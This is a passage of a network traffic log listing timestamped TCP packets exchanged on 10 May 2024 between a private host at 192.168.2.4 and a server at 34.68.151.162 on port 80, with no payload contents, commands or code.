May 10, 2024 09:20:58.244741917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244748116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244755030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244766951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244772911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244779110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244786024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244791985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244803905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244810104 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244816065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244827986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244833946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244839907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244848013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244853020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244864941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244872093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244877100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244889021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244894981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244900942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244909048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244914055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244925976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244936943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244946957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244949102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244961977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244970083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244973898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244982958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244987011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244998932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245007038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245011091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245022058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245033026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245042086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245044947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245058060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245059967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245069981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245075941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245081902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245105028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245105028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245119095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245126009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245131969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245146036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245151997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245157957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245170116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245177031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245182037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245193958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245202065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245206118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245217085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245233059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245244980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245253086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245255947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245268106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245280027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245286942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245299101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245306015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245311022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245320082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245323896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245335102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245357037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245359898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245367050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245373011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245384932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245389938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245398045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245412111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245414019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245424986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245436907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245448112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245450974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245464087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245481014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245482922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245493889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245501995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245517969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245524883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245531082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245543003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245549917 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245556116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245568991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245577097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245580912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245593071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245599985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245604038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245616913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245625973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245629072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245641947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245642900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245657921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245659113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245680094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245682001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245692968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245707989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245712042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245718956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245732069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245735884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245744944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245757103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245768070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245779037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245790958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245795965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245809078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245815039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245820999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245829105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245832920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245843887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245846033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245857954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245860100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245872021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245879889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245884895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245897055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245904922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245908976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245919943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245930910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245942116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245944023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245955944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245969057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245971918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.245982885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245995045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.245995998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246009111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246021032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246028900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246032953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246043921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246054888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246054888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246068001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246068954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246081114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246083975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246093035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246104956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246109962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246117115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246129036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246133089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246140957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246150017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246153116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246165991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246174097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246179104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246191978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246200085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246203899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246215105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246217966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246229887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246237993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246242046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246257067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246264935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246268988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246282101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246282101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246295929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246303082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246309042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246320963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246328115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246334076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246340990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246345997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246356964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246366024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246368885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246381044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246390104 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246391058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246403933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246407032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246417046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246423006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246428967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246439934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246449947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246450901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246464968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246473074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246476889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246485949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246490002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246500969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246510029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246512890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246526003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246536970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246546984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246551037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246565104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246570110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246577024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246583939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246588945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246601105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246611118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246613026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246624947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246634960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246635914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246648073 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246649027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246660948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246670008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246674061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246685982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246694088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246697903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.246716976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.246725082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.247956991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.247968912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.247981071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.247992039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.248003960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.248012066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.248018980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.248033047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.248044968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.248044968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.248060942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.248076916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.256851912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.256865025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.256876945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.256887913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.256900072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.256911993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.256917953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.256923914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.256942987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.256948948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.256961107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.256968021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.256972075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.256988049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257008076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257013083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257020950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257035017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257046938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257057905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257061005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257071018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257075071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257083893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257091999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257096052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257107973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257118940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257118940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257133961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257141113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257144928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257155895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257158041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257170916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257178068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257183075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257194996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257206917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257217884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257229090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257234097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257241011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257252932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257253885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257266045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257272005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257277966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257287979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257289886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257303953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257309914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257316113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257329941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257334948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257344961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257350922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257358074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257370949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257380962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257383108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257395029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257400036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257406950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257415056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257419109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257431030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257441998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257445097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257456064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257462978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257477999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257478952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257492065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257500887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257504940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257517099 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257518053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257530928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257538080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257544994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257546902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257556915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257567883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257571936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257584095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257592916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257596016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257608891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257617950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257620096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257633924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257633924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257646084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257648945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257658958 CEST	80	49754	34.68.151.162	192.168.2.4
